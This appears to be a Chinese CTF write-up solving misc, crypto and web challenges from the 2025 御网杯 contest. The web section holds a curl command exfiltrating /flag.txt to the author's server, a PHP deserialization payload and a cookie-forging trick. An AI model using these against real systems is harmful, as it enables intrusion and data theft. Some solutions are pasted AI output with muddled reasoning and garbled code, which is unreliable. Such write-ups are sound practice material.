当前位置: 首页 > java >正文

2025御网杯wp(web,misc,crypto)

文章目录

  • misc
    • xor10
    • 图片里的秘密
    • 被折叠的显影图纸
  • Crypto
    • easy_rsa
    • gift
      • **1. 礼物数学解析**
      • **最终答案**
    • 草甸方阵的密语
    • easy-签到题
    • baby_rsa
  • web
    • YWB_Web_xff
    • YWB_Web_未授权访问
    • easyweb
    • YWB_Web_命令执行过滤绕过
    • 反序列化

misc

xor10

ai一把梭

根据题目中的字符串和提示,虽然提示为“xor10”,但经过分析发现正确的密钥应为十进制的57(0x39)。每个字节异或57后,得到以下结果:

步骤解析:

  1. 拆分十六进制字符串:
    原字符串拆分为:5f,55,58,5e,42,71,7a,6d,7f,48,4e,5c,78,6a,7d,08,09,09,44。
  2. 转换为十进制并异或57:
    每个字节异或57后,转换为对应的ASCII字符:
    • 5f → 95 → 95^57=102 → ‘f’
    • 55 → 85 → 85^57=108 → ‘l’
    • 58 → 88 → 88^57=97 → ‘a’
    • 5e → 94 → 94^57=103 → ‘g’
    • 42 → 66 → 66^57=123 → ‘{’
    • 后续字节解密后依次为:H, C, T, F, q, w, e, A, S, D, 1, 0, 0, }

最终flag:
flag{HCTFqweASD100}

图片里的秘密

隐写分离得到zip,爆破出密码9864,进去flag.txt拿到一串字符5a6d78685a337331536d637153474d304a485a454f48684d49584a5466513d3d

转十六进制得到ZmxhZ3s1SmcqSGM0JHZEOHhMIXJTfQ==

显然是base64,解密拿到flag

flag{5Jg*Hc4$vD8xL!rS}

被折叠的显影图纸

随波逐流进来就一把梭。

image-20250511102646913

Crypto

easy_rsa

果然够easy

p=473398607161
q=4511491
e=19
phi=(p-1)*(q-1)
d=invmod(e,phi)
print(d+7)

gift

flag{slh}

一看ai就能梭,懒得动脑子了

根据题目中的级数特征和加密要求,答案的推导过程如下:


1. 礼物数学解析

题目中描述的级数 1 - 1/3 + 1/5 - 1/7 + … 是著名的 莱布尼茨级数,其和为 π/4*24


最终答案

  • 礼物名称pie
  • 加密后Flagflag{slh}

草甸方阵的密语

根据{}位置得到栅栏密码解密后结果,再凯撒加密一手

image-20250511104845442

easy-签到题

后缀改成txt即可正常查看

ai解密得到flag

解密过程如下:

  1. 首先对原始字符串进行 Base64 解码,得到一串看似又是 Base32 编码的字符串;
  2. 然后对这段字符串进行 Base32 解码,得到一段十六进制(hex)字符;
  3. 最后对这段十六进制字符串进行 hex 解码,就得到最终的 flag。

最终还原出的 flag 为:

复制编辑
flag{2b8471e0-3c9a-6d1f-4a57-980362157e3f}

baby_rsa

grok写个脚本秒了

from gmpy2 import invert, isqrt
from Crypto.Util.number import long_to_bytes
import sympy# Given values
N = 12194420073815392880989031611545296854145241675320130314821394843436947373331080911787176737202940676809674543138807024739454432089096794532016797246441325729856528664071322968428804098069997196490382286126389331179054971927655320978298979794245379000336635795490242027519669217784433367021578247340154647762800402140321022659272383087544476178802025951768015423972182045405466448431557625201012332239774962902750073900383993300146193300485117217319794356652729502100167668439007925004769118070105324664379141623816256895933959211381114172778535296409639317535751005960540737044457986793503218555306862743329296169569
e = 65537
c = 4504811333111877209539001665516391567038109992884271089537302226304395434343112574404626060854962818378560852067621253927330725244984869198505556722509058098660083054715146670767687120587049288861063202617507262871279819211231233198070574538845161629806932541832207041112786336441975087351873537350203469642198999219863581040927505152110051313011073115724502567261524181865883874517555848163026240201856207626237859665607255740790404039098444452158216907752375078054615802613066229766343714317550472079224694798552886759103668349270682843916307652213810947814618810706997339302734827571635179684652559512873381672063# Step 1: Factorize N to find q and p
# Since q is 1024-bit, estimate q ≈ sqrt(N)
q_approx = isqrt(N)
# Find the next prime after q_approx to get q
q = sympy.prevprime(q_approx + 1)  # Adjust to find the correct q
p = N // q  # Compute p
if p * q != N:q = sympy.nextprime(q)  # Try next prime if factorization failsp = N // q
assert p * q == N, "Factorization failed"# Step 2: Compute phi
phi = (p - 1) * (q - 1)# Step 3: Compute private key d
d = invert(e, phi)# Step 4: Decrypt ciphertext
m = pow(c, d, N)# Step 5: Convert to bytes
flag = long_to_bytes(m)
print("Flag:", flag.decode())

web

YWB_Web_xff

加header伪造请求头读取到flag

image-20250511105841803

flag{9u60w1kemajt}

YWB_Web_未授权访问

cookie url解码一手,把guest改成admin,isAdmin改成1再url编码即可

image-20250511110457519

easyweb

测试一下发现弹shell失败,curl命令发送/flag.txt的内容到服务器

cmd=curl -d @/flag.txt http://ip:端口

image-20250511171819064

YWB_Web_命令执行过滤绕过

伪协议读到flag.php,根据里面的路径拿到flag

image-20250511163336160

image-20250511163403927

反序列化

简单反序列化

payload:

payload='O:7:"mylogin":2:{s:4:"user";s:XX:"phpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:12:"myzS@11wawq";}";}'
curl -X POST http://47.105.113.86:40004/ -d "msg=${payload}"
http://www.xdnf.cn/news/5434.html

相关文章:

  • #Redis黑马点评#(五)Redisson详解
  • 并发笔记-条件变量(三)
  • 第二十一周:项目开发中遇到的相关问题(二)
  • 使用Visual Studio将C#程序发布为.exe文件
  • java加强 -Collection集合
  • Java基础语法之循环结构
  • immutable.js介绍
  • 【Diffusion】在华为云ModelArts上运行MindSpore扩散模型教程
  • 深入浅出之STL源码分析2_stl与标准库,编译器的关系
  • 解决VirtualBox中虚拟机(ubuntu)与主机(windows)之间互相复制粘贴(文本)
  • 文件批量重命名工具,简单高效一键完成更名
  • 【常用算法:排序篇】4.高效堆排序:线性建堆法与蚂蚁问题的降维打击
  • kubectl系列(十二):查询pod的resource 配置
  • Java定时任务
  • Cribl 利用CSV 对IP->hostname 的转换
  • tokenizer.encode_plus,BERT类模型 和 Sentence-BERT 他们之间的区别与联系
  • 数据结构练习:顺序表题目
  • terraform云上实战(一):执行阿里云云助手命令
  • C++ string初始化、string赋值操作、string拼接操作
  • Celery 在分布式任务调度中的实现原理及 MQ 系统对比
  • GIF图像技术介绍
  • 隐马尔可夫模型(HMM)在彩票预测中的Java实现
  • OpenCV进阶操作:指纹验证、识别
  • 复现MAET的环境问题(自用)
  • Javascript基础语法
  • 【STM32开发】-单片机开发基础(以STM32F407为例)
  • SEO长尾关键词布局优化法则
  • 虚拟内存笔记(三)虚拟内存替换策略与机制
  • 前端项目打包部署流程j
  • 北大闰凯博士:热辐射输运问题蒙特卡罗模拟中的全局最优参考场方法